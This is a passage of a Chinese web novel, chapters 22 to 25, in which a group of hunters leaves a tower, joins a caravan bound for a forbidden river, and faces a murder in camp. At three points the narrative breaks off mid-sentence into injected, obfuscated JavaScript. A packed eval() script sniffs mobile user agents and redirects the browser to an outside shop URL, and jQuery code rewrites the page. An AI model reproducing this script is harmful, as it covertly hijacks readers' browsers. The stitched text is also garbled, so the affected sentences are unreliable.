“果然没用。”连钰嘀咕。这扇门,真的是用来戏耍猎人的……想想从前或许也有人被关在这,在有人查房前偷摸搜索这层,可能有的人纠结于开启所谓隐藏的门,耽误了真正逃离出去的办法——作死探索其它楼层,并成功离开。 按照连钰的设想,或许不久后他们就会离开温室。那一位可是看热闹不嫌事大的性子。 李哲正被连钰按着,听见这话就不乐意了。 “小丫头片子……”他恨恨地咬牙,还以为连钰是说他坏话,可人家根本不在意他。 连钰示意楚明锋松开些,对李哲说:“你走吧。” 李哲一愣,她不怕自己带人来制服他们后直接注射药剂,让他们的核晶崩毁吗? 连钰看出他的怔愣,笑道:“我很快就会出去了,和你认为的叛徒一起。” 江汾听后,微笑着推了下眼镜。在帮助这两人之前,他就想好了,就算是被温室处置也没关系,反正他在这里也当了太久缩头乌龟,倒不如跟着他们拼一把,看看他们这群“蝼蚁”怎么在高等存在的监视下暗度陈仓。 李哲感到难以置信,这人怎么这么自信? 他被松开后,理了理自己的衣服领子,就听见脑海里响起那位存在的声音。 在很久以前,李哲还是乐园里种子所生育的小孩,他和其他幼童一起在乐园接受初级教育。和同龄人不同,他从不设想自己是正常结合的夫妻所诞下的孩子,在别人渴求幸福的时候,他渴求知识,目的是进入这座城的核心,成为人上人。 即便乐园的存在不讨人喜欢,他也没有遭受欺负,普普通通地长大了。他的冰冷自私,完全是天生的。 就这样,有一天,他的脑海里多了什么。可他没用惊慌,他认为这是上天的恩赐,是高维存在看见了特殊的自己。 可现在,他不敢相信,在这两个猎人被送入温室后,那位神明几次三番地破例。这让他有种自己对祂不再重要的错觉。 “让他们全都离开。就说,再次去探索梅花落,完成上次的任务。” 可是为什么? 那位存在甚至为他们想好了去处。 李哲目眦欲裂,想要愤然离去,却在走了两步后捂住眼睛。 他没告诉任何人,他的很多研究成果基于他被改造过的眼睛……可是,眼睛不听他的话。 他背对着其他人,哆嗦着把眼球按回去,喑哑地说:“你们可以走了。” 说完要交代的话,李哲脚步凌乱地离开28层。 江汾有些惊讶,没想到这么轻易就达成了他设想的最佳结果。只有连钰感觉,她已经摸清幕后那位高维存在的心思。 祂只要表演。要像踩在钢丝上一样,上演生死一线、悲欢离合。 这么看来,这位绿日时代的主宰和留声机的恶趣味如出一辙。 想到这,连钰一个激灵。 为什么这两个存在,如此相似? 22. 绿日时代(22)出城 留给连钰纠结的时间不多。李哲扔下一句话后就跑了,留下三个人在原地,但没多久就有人通知他们离开,来通知的人一个悄悄打量他们,另一个一脸平静漠然,仿佛这在温室不是什么大不了的事情。 “这是您的证件。”白大褂推来一辆小车,里面都是连钰和楚明锋进来时卸下的东西。 拿了东西,两人就和同样只带了证件的江汾被“赶”了出来。 总觉得有些荒诞呢……都不让我探索完温室。连钰无语看了眼充满科技感的方尖塔,收回目光。 外型未来感,内在却装满了过去。温室除了27层的学校,还有别的时代遗存吧。没想到城主那只怪物,还挺怀旧。 连钰:“……要不,我们先去找小荣?”她看了眼其他两人,一时间有点摸不清楚是不是要立刻行动。自从知道在给怪物打工,就不是那么乐意了。 楚明锋欣然同意,两人拔腿就朝小荣的公寓前进,作为队长,楚明锋还是知道队员的基本信息的。走了几步,连钰觉得不对,回头一看,江汾还留在原地怔愣。 “走啦!”她挥手让他过来。 江汾犹豫了下,跟上。 走向轻轨的路上,连钰注意到江汾有些不自在。等到上车后,明明有空位,他也不坐下。连钰很奇怪,瞥了几眼。这一偷偷观察可好,她发现江汾在背对着他们,看着窗户里的倒影理头发。 连钰:囧 楚明锋顺着她眼神看过去,噗嗤一笑。两人的偷摸观察很快被江汾发现,但他没生气,只是默默低下头,保持着背对的姿势,企图让自己变成一朵挺拔但低头的蘑菇。 难道小情侣的性格都是互补的吗?江汾这样肯定是任由小荣揉-捏。连钰脑补了下暴力萌妹跳起来打爆瘦高白脸研究员的样子,觉得果然很美好。 等到三人到了温暖公寓,两个男人停住了脚步。楚明锋是因为没有门禁,江汾则是整个人游离天外,连钰只好自己上去找小荣。还好之前她观察邻居,最后和小荣一起吃饭,大概记得小荣在哪个房间。 与此同时,小荣躺在自己的床上。她没去训练,也没出门打探消息,这几天都是领了营养液后就躲在房间。几天前,她和江汾联系上,但是之后就没收到其他消息。她担心自己会不会把江汾也拉下水。 可是……这种情况,容不得她优柔寡断。虽然不想承认,但是她的确意识到,很多事情不是由自己做主。如果不孤注一掷,也未必能保全。况且,她也讨厌无知,讨厌被圈禁在一方天地,到死都不知道真相。 荣倩倩平躺着,双手交叉叠放在腹部,眼睛盯着天花板。她这几日回想了过去自己做出的选择,决定换一种方式…… “小荣!” 狭小的居室外传来熟悉的少女声音,恰好此时一道透亮的光线从窗外射入。小荣搬进公寓时恰好有一位高级猎人退租,房间分给了她,这是为数不多的有窗户的房间。但之前她没觉得有什么不同。 只有在此刻,她才发现原来有窗挺好,尽管射入的光线只是永昼城里运输物资的小型飞行器打开的灯光,至少,不是看腻了的绿光。 她说:“来了。” …… 连钰在副座戒备,但时不时眼睛就提溜转向后视镜看看后排。小荣和江汾坐在后座,身体瘦弱的研究员不负责警戒,正在一门心思地敲键盘,仿佛停下一刻都会影响他的研究;小荣看向窗外,时不时抚摸一下自己的匕首,一副准备好随时干架的姿态。 连钰:你们不是青梅竹马吗,怎么见面都不说话的,比陌生人还陌生。 她倒不是一定要看小情侣恩恩爱爱,只是觉得……这两个人好像不约而同地达成了一致,作出了某个决定,以至于气氛古怪。 楚明锋设定好路线,跟没注意到后排气氛似的开口:“带你们去个好玩的地方。” 连钰:“?可是我们不是有任务。”说完她若有所思。 那个高级怪物控制着李哲让他们继续执行梅花落的任务,可是,祂未必真的希望如此。 要是祂这么好满足,也不会乐意看他们作死。 所以,队长这是已经想好怎么挑战极限了? 楚明锋答:“管任务做什么,把小江骗出来就行了。我们去和何雁会合。” 这回,连后排的人都抬眼看向他。 江汾没说话,但连钰感觉他清澈的眼睛里浮现了一抹疑惑。 楚明锋清了清喉咙,说:“想必你们两个(指两名队员)已经注意到了我和何老板应该商量过什么……” “没啊。”小荣直勾勾地盯着队长后脑勺,等着他解释。 “咳咳,那我现在说。” 队长说,这片土地上有几处禁-区,除了她们已经了解到的北边的永夜森林,还有南边的银河。说到这里,连钰有些触动。她想起卢卡曾经提过一嘴。森林、河流和山脉让这块土地与世隔绝。 她没吭声,楚明锋继续说。 其实南边的河流本来很普通,只是经常有厉害的怪物出没,所以渐渐无人去。怪物自己也有食物链,越是厉害的数量越少,有些具备探知能力的人经常死里求生,在强大怪物的地盘逃生,他们认为躲过一两只总比舵一二十只要轻松。 但是,这些人也渐渐没有音讯,银河的区域就成了默认的无人区。 直到几十年前,有人探查到银河的异变——河流升腾出雾气,又缓慢演变为飘飞的银屑,继而沉淀进河水里,地面的河宛如曾经天空里的那条河。 因为没有了真正的银河,就为无法靠近的另一条河流取了同样的名字吗?连钰默然。她还联想到了之前队长给予的半瓶晃荡着银色碎屑的水,难道是,银河的水? 江汾:“真的没人靠近探查吗?这样的变化或许隐含了秘密。” 楚明锋给了一个“你小子很上道”的眼神:“当然。我们这就是去和何老板的队伍一起探索银河。” 连钰:你真的挺会作死的,没记错的话,永昼城也禁止探查那一块区域吧。不过,我喜欢,我也要作死。 江汾点头,道:“那我明白为什么带上我了。” 小荣突然来了一句:“你没用也要带上你。”不然,让你帮了我们以后,就留你一个人在城里会被玩死。 江汾笑笑,就像完全没意识到小荣的话容易让人想偏成嫌弃他。 之后的路程一路无言,很快他们就绕过永昼城抵达了队长和何雁约好的地方。 此时,按照理论上的时间来说,已是傍晚七点多。 何老板的队伍已经架好了帐篷,热好了方便食品。他们来时,之前见过的旅馆小老板刘铭正呼噜呼噜吸溜面条,听见声音了,抬头冲他们一笑。 连钰:“妹子,你牙上……” “何老板,好久不见!”楚明锋突然招呼起人来,打断了连钰施法。 “听见了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233469|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我还没老,那么大声干嘛?” 白皙高挑的冷美人无奈转身,揉了揉太阳穴示意她很烦躁,楚明锋无视了她的肢体语言,开始和何老板队伍里的人搭话。何雁一副习惯了的样子,任由他在队伍里勾-搭她的队员。 何雁转向楚明锋的队员,给了他们一个意味深长的笑容。 “这回多了个没见过的?” 被队长撇下的三人跟着何雁走向帐篷堆的另一头。何雁的营地里,车辆都在外围围成圈,地面上撒有黄-色的粉末,帐篷都在中心。 “今晚,你们就在这两个帐篷?特意搭的。”何雁选了个安全的话题作为开场白,连钰几人点头,跟着她坐在倒下的树上。 “楚队还没和你们说起我的事情吧?”“铮”的一声。何雁甩开打火机,点了一根细长的烟,烟圈让她的面容有些朦胧,显得她和其他人更遥远了。 连钰摇头。 何雁见状,吸了一口烟后说:“你们一定很奇怪,楚队带你们出来执行第一个任务,就瞒着很多事情。中途还让你们跟着我的人去见识了下外面的习俗。” “但是,这都是我们约好的。” 连钰等人默默听着,直到何老板甩了一个惊天大雷。 “其实,我才是梅花落的掌权人,灰兔。” 另一边,楚明锋和熟人联络完感情,约好了值夜顺序后,一转身就发现,唉我放在这,这么大的三个队员呢? 就在楚明锋迈步走来的时候,何雁看着三人怔愣的表情呵呵一笑,继续说道:“梅花落从前的确算是处桃源。哦,你们知道桃花源的典故吗?” 她扫过三个人的表情,心中有数。 “一会儿和你们说吧。总之,梅花落从前有过很美好的日子。那是我逃出来后和昔日伙伴一手帮扶的地盘,后来成了我的。但是,人心不足,渐渐的,梅花落变得和其他聚落相佛,一样的血腥肮脏,充斥着泯灭人性的交易。可是没有办法,这个时代里,谁能保全自身就是万幸。我曾经的理想显得那么可笑。” 何雁说了她和楚明锋的计划。他们意外相识,但看穿了彼此隐瞒秘密的动作。何雁一直以来都在默默发展避开更高存在视线的势力,尽管她知道也许一切都是徒劳。 这一次,根据何雁已有的情报,他们判断银河也许不是像永夜森林一样危险的禁地,而是另有秘密。 “所以,请你们原谅楚队一直以来的隐瞒。如果你们同意继续这段旅程,必须做好准备——” “我们随时会死去,像一条狗一样无助地死去。没人收尸哦~” 何雁轻飘飘的话语在烟圈里漂浮上升,绕在了三个人的心头。连钰本有几分哀伤,听到这里却有些不舒服。 一直沉默的小荣开口:“队长是我们的队长,我们自然无条件信任他。至于准备,在成为猎人的那刻起,我们就准备好随时死去。” 何雁对女孩的恼怒不以为意,她看向江汾:“那他?” “我也是。” 江汾抬头,明亮的眸子充斥着坚定。 何雁捏着烟头往坐着的树上一摁,连钰注意到有株小草抖动了一下。 咦,刚才这里有棵草吗?不是枯树吗?连钰自从视力进化后,对于周遭环境很敏-感,尤其是刚刚经历过幻境。 “那么你告诉我,为什么这有株小草,一直在往我这爬?”何雁摁掉的烟灰随微风飘落丁点儿,把小草的叶子染灰了。 23. 绿日时代(23)守夜人不归 江汾赧然一笑,伸手将那株细幼的小草搂回来。 “抱歉,我的小草有些好奇。” 何雁嗤笑,又点了一根烟。 “看来我们彼此都需要加深信任。” 连钰和小荣对视一眼,小荣扯着江汾的后衣领把他拉到旁边,连钰则趁机挪挪,蹭到何雁身旁。 “何老板,江汾是我们队长挖来的。”队长,不好意思,先甩锅给你了。 “他脑子聪明,之后应该有用到他的地方。” 何雁无奈摇头:“你们把我当什么人了?我又不会对他做什么。只是……”她悠悠地吐-出一口烟圈,在缓缓上升的烟雾里看向遥远的天空。 “我只是对他的异能有些好奇,就像他对我有好奇心一样。”说完,何雁妩-媚一笑,黑色的发丝晃悠着,抚摸过她的脸颊,衬得人格外干净明朗。 这话显然是和江汾一样掩盖自己对对方的不信任。 连钰看向何雁黑白分明的眼睛,也许是因为夜空映衬,她在刹那间好像看见了……星星。 连钰摇摇头,把这一幕甩出脑海。 肯定是自己看错了,人眼睛怎么会有星星,都怪何老板太美貌了。 “回去吧,你的队长来了,和他一起认识其他小伙伴。”何雁夹着沙的声音让连钰回过神。 “哦,好。” 连钰走后,何雁右手撑着脸庞,手指夹着烟,在淡淡的烟雾里沉思。而这一边的连钰,在看见自家队长和两个陌生男人称兄道弟时,感觉自己已经见怪不怪了。 “小荣和江汾呢?” 连钰刚要答,楚明锋就接着说:“没事没事,你先认识。这是天山城的林虎和林山。” 两兄弟对连钰嘿嘿一笑,其中一人的憨厚气质让连钰觉得莫名熟悉。她仔细端详那个人,越看越觉得这就是…… “林山你认识,就是之前带你们一起的小山。”楚明锋大咧咧解释道。 连钰:哦对,队长一开始就瞒着我们策划些什么。 小山挠挠头,有些不好意思。 “我的异能是变化容貌,大多数时候挺鸡肋的,但有时候也能保命。” 连钰:“听起来很有意思,能不能变成任意一个人的模样啊。” “五官倒是能,但脸型和体型差别太大,也容易露破绽。” “等你的能力熟练了,说不定还能缩骨,到时候想变成谁就是谁。” 连钰畅想了一下,觉得小山明明就拥有武侠小说里的必备技能,未来可期。 一旁的林虎咳嗽一声,说:“我的异能是和动物亲和力强,经常从它们拿获取些信息,也许能解读成有用的情报。” 这两兄弟完全就是武侠小说必备男配啊,可有用了。一个做江湖百晓生,另一个是百变狂魔。 连钰好奇道:“那能和低级怪物沟通吗?”说起来,她现在知道高级怪物和平时猎杀的怪物简直就像两个物种,高级怪物是他们对于这种存在的称呼,但在连钰看来,这种存在确实当得起“祂”这一称谓,堪称高维生物入侵。 那么这么看来,怪物之间等级差异代表着绝对的能力差异……这种差距就像是,点满科技树的人类和普通动物一样,甚至还要更大。 连钰悚然一惊。说不定,所谓的高级和低级怪物,是一种高维生命和其原本星球的“动物”?或者,他们能猎杀的怪物,是祂制造出来的。毕竟,祂最爱玩游戏,看人类和怪物搏斗,为了一线希望在夹缝里求生,或许对祂而言很有趣。 林虎说完自己暂时还不能和怪物沟通,只能和没有完全被污染的动物亲近,结果抬头一看小姑娘正发呆。他一时有些尴尬,不知道是不是因为自己的能力太弱……可是她刚刚不还和弟弟讨论得热火朝天嘛。 心思敏-感的汉子和弟弟对视一眼后苦笑,楚明锋则敲敲连钰的脑袋瓜子,唤回她的神智。 “抱歉,我这个队员就是喜欢发呆,经常想着想着就开始一个人沉思了。” 啊啊啊,我上学的时候就这样一个人思考题目,怎么到了梦境还这样。 连钰不好意思地对林虎笑笑,好在对方知道她不是故意不理睬,大度地提出帮他们整理帐篷。 其实,也没什么好整理的,他们一队的东西都很简单,一个人一个背包和随身挎包,还有些可穿戴设备。 “队长,你是早就做好打算蹭何老板的物资了吧。”连钰看着空荡荡的帐篷,再看向自己手里端着的,刚刚天山城兄弟送的烤肉。 “也不能这么形容,毕竟我可是帮过她大忙的。”楚明锋已经吃上了,还留了两份给另外两人。连钰闻着飘到鼻尖的香味,咽了咽口水,决定慢慢品尝。 唔,外表有点干,应该是孜然辣椒粉撒多了,但是粉很香很香。咬下去后,一个指节厚的肉片饱满多汁,肉香味直接在口腔里爆炸开。 连钰咬了咬,发现有点难扯动,索性直接一整片慢慢咀嚼。 应该提前腌制久点的,就不需要用这么多香料,口感不够好了。加点小苏打应该会更嫩? 她吃着吃着发现坐在对面的队长看着她愣了一下,注意到连钰的视线后继续吃。 楚明锋:“不知道为什么,看着你吃饭觉得更下饭了。” 这算是吃播吗…… 连钰看着剩下的一片肉,开始怀念起和舍友吃烤肉的日子。要知道她的舍友最喜欢烤肉了,每次连钰负责吃就好,舍友会适时地夹来烤得刚刚好的肉……真幸福啊。 两人吃完饭后就各自进了帐篷,不一会儿,小荣也进了连钰的帐篷。连钰嗅到她身上的烤肉味,知道他们应该把留下的晚饭吃完了。 不过,人多的队伍果然是豪横,想之前他们三个人出门,可不敢随便生火,吃条钻地虫也得吃完就跑,免得香味引来其它东西。 这次出城,他们小队就没有战斗。遇见有核晶的怪物其实没那么容易,更多的是产生异变的动植物吧……不然核晶也不会是硬通货。 连钰习惯性地陷入思考。自从她知道任务是探索世界真相后,就会不自觉地根据日常生活里的信息发散联想。然而,破留声机几乎不理睬她,不提醒任务进度,让她只能摸着石头过河。 小荣回来后收拾一下就躺下了,没说一句话。连钰觉得她有些不对劲,平时小荣的话也不多,但不会像今天一样沉默。 可能是见到江汾有些不适应?虽然说是青梅竹马,但其实两人分开很久了。 连钰胡思乱想,终于在混乱的思绪里渐渐发困,外面的声音直到半夜才消停,最后只剩下篝火的噼啪声和偶尔簌簌的风声。 …… 连钰是在一声树枝踩断的声音后惊醒的。 在这个末世环境,她很少能睡好,被轻微声响弄醒已是常态。 刚刚那一声,像是在她帐篷外很近的地方。 她小心翼翼地起身,竖起耳朵听外面的动静。离她的帐篷不远的地方有个火堆,此时橘黄的火焰正映照在帐篷门的右侧角落。她这一侧没有光线,很难判断刚刚是否有人的影子闪过。 “有人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233470|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”小荣压低声音在连钰背后说道,让连钰的心脏漏跳半拍。 小荣见她回头,以为她是没反应过来,解释道:“你没起来前,有个人影从篝火那过去了。” 连钰了然。披上作战服外套后就慢慢拉开帐篷拉链,溜了出去。小荣皱着眉想了想,紧跟其后。 连钰出来后扫视一圈,第一反应是:值夜的人呢? 按照队长之前和人勾肩搭背谈好的顺序,今夜是……天山城的那对兄弟守夜? 她和小荣对视一眼,并未说话,两人都感知到应当有什么事发生了。她们顺着小荣看见的人影消失的方向追去,一路上没有制造出任何动静。 连钰想,那个人的身手应该不会太好。像她们这样常年训练的人,已经下意识学会放轻脚步,不会在别人的帐篷根儿那轻易踩断树枝,这样太容易引人注意。 可是连钰忘了她比较的对象是永昼城的猎人。永昼城之所以让那么多人都想进,就是因为让人温饱自足,还能训练出末世里一等一的身手,大多数猎人出城绝对有自保之力。 但她是完全没有原身记忆的,不知道永昼城训练内容远不止射击等看似轻松的课程,因而忽略了这一点也在所难免。 在帐篷里看到的人影过去的方向实在很难判定这人之后去了哪,所以两人分头行动,连钰去北边营地边缘,荣倩倩去东边,也就是营地中-央。 连钰这边,她蹑手蹑脚地走过别人的帐篷。好在她的帐篷本就靠近营地边缘,走过两个后就到了。 她鼻尖微微耸动,闻到了熟悉的味道。有点清新,又有着烧着了的味道,像是香薰植物……但是味道太淡,淡到她怀疑是自己的错觉。 要是队长那个狗鼻子在就好了。 连钰蹲在一棵树后方,露-出一只眼睛盯着前方的人影。 那个人没有打手电筒也没有拎风灯,光线实在太差,连钰只看得到那个人披着斗篷样的衣服,身上花纹图案深深浅浅。一蹲下后,显出瘦削的后背和腰身。 那人先是蹲下,在地上摸索着什么,接着竟是跪下了,对着ta刚刚放在身前的东西叩拜。 连钰皱眉。搞什么,邪-教崇拜?总不能是梦游? 不一会儿,那个人起身,斜坐在树桩上。半侧过的脸庞格外白皙,连钰有些恍惚。 原来是她。可是为什么? 女人之后就一直坐在原地,仰望天空,没有任何动静。 连钰觉得自己因为别人路过帐篷就跟出来,也许是想多了。毕竟在外奔波的商人,有些迷信也很正常。就跟在车上挂个出入平安一样? 她起身准备撤离,何雁转向她,轻柔沙哑的声音钩子一般引她注意。 “不出来说说话吗?” 连钰一阵赧然。糟糕,跟踪被人发现了。她怎么知道的…… 连钰正要走过去,但她绝佳的视力让她注意到,何雁白到透明的脸颊上殷红的嘴唇微微一勾。顿时,她心中生出警惕。 鬼气森森的何老板,半夜在这仰望星空,真的是像她想的那样纯粹在搞迷信?这个世界真有什么神话传说留存吗,都末世了谁还信以前的神。 但是有一位存在,的确容易让人屈服于祂之下。 连钰犹豫着,没有上前。何雁只好起身,慢慢向她走来。 可她离连钰越近,连钰就越能注意到她脸上毫无生气的微笑,心中越是惴惴不安。 就在连钰准备先找个理由溜走的时候,营地上空划过一声尖叫。 “杀人了——” 24. 绿日时代(24)死亡疑云 死人了? 连钰心中一凝,何雁顿住后加快脚步走到光亮处。连钰发觉对方之前给她的不安感已经消失,橘黄光晕下的何雁显得有生气多了。 “我们去看看。”两人向声音来源跑去。连钰越跑越觉得,这是小荣之前跟去的方向。 营地范围不算大,帐篷之间间隔也就两米,所以两人很快就到了事故发生地——营地中-央。 “你发现他的时候,状况如何?”楚明锋正蹲下身子查看躺在地上的死者,荣倩倩站在他身旁,低着头看不清表情。 “楚队长这一句话就把自己队员的嫌疑洗清了?”一个络腮胡男人站出来,一脸愤然。“我们大家伙儿出来的时候只看见这个女人在小山身边!” 连钰一听怒火中烧,立刻站到小荣身前,对着络腮胡说:“只有她一个人,就是她杀的吗?依我看,她可能还是宝贵的目击证人。你这么着急跳出来,无凭无据就污蔑别人,要我说,你的嫌疑也很大。” 络腮胡一听急眼了,上前两步就要冲过来,被身后的人拦下。连钰依然站在原地,冷笑一声,真要打起来,她可不怕。 “都别吵了,”一直停在人群边缘的何雁拨开人,慢悠悠道,“现在吵就能找出凶手吗?不如好好检查尸体,也许是人,也许是怪物所为。” “何老板,这不能是怪物吧?咱们营地这么多人,那怪物能悄没声儿地就杀死一个兄弟?” “是啊,何老板你想偏袒人,也不能这么明目张胆。” 这边楚明锋起身,若有所思。其他人已经吵开了。 连钰眼看着眼前的闹剧,突然明白了自己的任务的重要性。在揭开世界真相的面纱前,人们会固执地认为自己所见所听才是正确的,谁都不知道这个末世完全是“高级怪物”,或者说“高维存在”的游乐场。 会不会这幕闹剧,也是祂操纵的?给了我们逃生的希望,又玩弄我们。 可是这一切很难向别人解释。 “各位,我有个猜想。”楚明锋顶着络腮胡等人的怒视继续说,“小山的致死伤在后颈处,额头有淤青擦伤,其余部-位暂时没发现异常。” “尽管小山的能力不出色,对敌作战稍有欠缺……” 络腮胡看着更想打人了,这回他身后的人都没拦,何雁挪动了身位。络腮胡攥着拳头,愣是忍了下来。他倒要听听这个小白脸能放出什么好屁! “但是,他也是天山城小队一员。他的队伍从前也是天山城的好手。小山异能对敌弱,不代表他的身手差。” “所以,杀害他的人很可能是熟人。又或者,就像何老板说的那样,也许有不知名的怪物潜入营地,我们暂时没法发现怪物的踪迹。” 络腮胡听了若有所思,他旁边一直沉默着的高大男人走上前,小心翼翼地扶起林山,看见林山的眼睛已经被合上,朝楚明锋投去复杂的一眼。 林虎一直没落泪,到这时双眼微红,问道:“那这位姑娘,能不能告诉我,你究竟看到了什么?” 荣倩倩抬头,连钰看过去才发现她的额头也有伤。 “我不确定……我赶来的时候有个身影从树后面闪过去,只看见长头发,大概一米六个子。我发现小山躺在地上,就没有追赶,想着先看他的伤势。可是,等我蹲下身的时候,身后有阵推力,把我推到了小山身上……” “你就扯淡!”络腮胡跳出来,忍无可忍,“你们小队的战力是一等一的,你跟我说有人推你你不知道?你还就那么恰巧没看清那人的脸,怎么什么都这么巧?我看那一米六的女人说的是你自己吧!” 小荣抬眼怒视对方:“我没说是人推的!我只是觉得有股力量推我。” “哦,那你现在的说辞是你既没有看见凶手,也不知道是什么东西推了你,导致我们出来的时候正好发现你拿着刀,一副要捅死小山的架势。”人群里又有个出声,连钰循声望去,发现竟然是芦苇酒馆的老板卢卡。 卢卡笑眯眯继续说:“哎哎,小姑娘别瞪我,我只是在合理分析。我还有个问题。” 哪来那么多问题。连钰很烦躁,但她知道现在情况确实很不妙,不由得紧张起来。 “你为什么会这个时候在这里出现?” 连钰心里一咯噔。 会不会局从一开始就设好了?莫名闪过的人影恰巧在她帐篷边踩断树枝,惊醒一向警惕的猎人,她们出来查看又发现林虎林山两兄弟不在,进而很容易继续查看。 会是何老板吗……她半夜三更在树林里祈祷,肯定有秘密。 还是两股势力交锋,他们是被殃及的池鱼。 想了想,她觉得还是不能隐瞒。 “我和小荣一起出来的,她一个人出现在这儿,是因为我们分头查看。” 连钰将来龙去脉解释完,众人一时沉默,有人嗤笑道何老板维护的人反咬一口,真是有意思。 何雁也不恼,淡定道:“我习惯半夜看夜空,这是我们商队都知道的。至于那个人影,我不确定你说的是不是我,毕竟我晚上简单巡视了一番后才离开营地。哦对了,我还见到过小山。那时候他还就守在你们帐篷附近的火堆。” 连钰苦思冥想。如果何老板所言不假,那么小山在她之后才离开,那个人影也有可能是小山,或者尾随的凶手。这么短时间里悄无声息杀死他,那个人未免有些可怕。 又或者,何老板在说谎。她和别人串通好了。可是为什么?显而易见,小山等人是投靠她的,跟随在身边时间应当不短。 根据小荣的描述,凶手团伙至少有两人,且有一人的能力很可能是控风……和队长一样。这个锅是非要往他们小队头上甩啊。 话说,队长之前……又在哪?她们出帐篷的时候没有查看队长是否也在自己的帐篷。连钰倒不是怀疑楚明锋,楚明锋没有任何理由趟这个浑水。 众人见他们三个人都沉默,又骂骂咧咧起来,一声高过一声。眼看局势就要失控,卢卡唉了几声,嚷嚷着他没说凶手一定是这小姑娘,搞不好是何老板,被其他人揍了几拳。 连钰:……看出来了,这就是个看热闹不嫌事大的。 她深吸一口气,大叫一声。突然发疯的举动让其他人都愣了下。趁着他们愣神的功夫,连钰快速说:“你们审了半天,没人说之前是谁喊的那嗓子吗?” 卢卡揉了揉被打的腰部,想道:“是个女孩叫的。” “是小荣的声音吗?” “你要这么说……好像不是。” 那一声尖叫音色细嫩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254330|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,小荣说话受她性格影响,声音反而粗一些。 “女人尖叫不都一个样?嗓门尖尖的。”络腮胡不同意这么洗清小荣的嫌疑。连钰瞪过去,她看这人不爽很久了,张嘴闭嘴女人女人,口吻很是看不起。 “照你这么说,营地里所有女性都有嫌疑。” “所有女人里就你队友嫌弃最大!” 何雁开口,制止这一场闹剧。“行了,说来说去谁都没有决定性的证据。就算你们都怀疑是楚队的队员干的,他们也没有动机。” 络腮胡等人还想说,张嘴却发现无力反驳。 连钰见众人消停了,掏出手巾给小荣擦了擦额头。小荣垂眼不看她,长长的睫毛扑棱。连钰知道她这不是害怕,是自责。小荣……大概是想要救回小山的。 这时,一阵安静中,有脚步声从树后走来。 江汾在众人注视下走来,手指间夹着一张小纸片。 “你们光顾着定罪,都没人查看我的队员说的树后面。” 江汾将纸条递给何雁,何雁看后眉头一皱。 她深吸口气道:“诸位,的确是人为。因为,还有下一个目标。” 她举起那张纸条,视力好的都看见了纸条上的字迹。很简单,只有一竖。 那是个数字一。 连钰眼见着其他人又要讨论,抢先说:“大家别忘了我们是为什么聚在一起。” 此话一出,众人都沉默着听她说。 这是个约定好的,不可说的秘密。 仿佛一说出来,愿望就不灵了。 这群人有着各种各样的毛病,彼此都不信任,在何老板的串联下才一起启程,奔赴一场终点很可能是死亡的旅程。 只是因为她暗示过,也许去银河能摆脱这个怪物横行的世界。 连钰想,这群人大概各有各的绝望。又或者有些人是理想主义者。 一个女孩紧张地举手,连钰看向她,发现竟然是之前救下的莉莉,那个被恶人夺去眼睛的女孩。 她大概是太紧张,声音细不可闻:“其实,大家都做好死的准备了……为什么,现在就内讧……” 她注意到别人的怒火,紧接着解释道:“我不是说有的人该死,我、我是说,现在这个场面,肯定是有些人故意导致的。但是不管怎么样,我们都要继续。” “因为这件事闹散了,岂不是让暗地里使坏的人得意……” 连钰舒了一口气。这时候有个第三者站出来说出她想说的,效果更好。现在他们小队已经失去一部分信任了,得由看着无辜的人说,才有分量。 林虎一直抱着兄弟的尸体,他现在已经冷静多了。 “小山他……早就做好赴死的准备了,我只是,我只是没想到先死的人是他。” 没有人接话。此时此刻,仿佛有片不愿走的乌云压-在众人上空,直让人喘不过气,又无时无刻不担心雨会落下。死亡的疑云躲不开绕不过。 何雁补充了几句安慰人心的话语,之后众人作鸟兽散,回到各自的帐篷,就像动物回到巢穴。守夜的人依然留下,不敢愣神。 连钰四人走回去,何雁停在他们帐篷那,在连钰擦肩而过时扔下一个平地炸雷。 “死去的人不是小山。” 25. 绿日时代(25)第二夜 连钰悚然一惊,立马回身抓住何雁的手。触-手冰凉,像握了一块冰。连钰动作一僵,好在何雁没有趁她愣神的刹那摆脱她。 “你这话是什么意思?如果不是小山,事情明明就很可能是一种样子,你为什么不说?”连钰的手不自觉用力。 如果死的人不是小山,尸体却是小山的模样,连林虎都分辨不出。这其中,肯定是有阴谋。 连钰注视着眼前女子。小山也算是她的得力手下,这件事和何雁肯定脱不了干系。她发散了一下思维,联想到被救了的莉莉,应该是何雁的死忠……本来畏缩的女孩,现在能说出一席大道理,她欣慰的同时也不得不怀疑这背后是不是有何雁的指使。 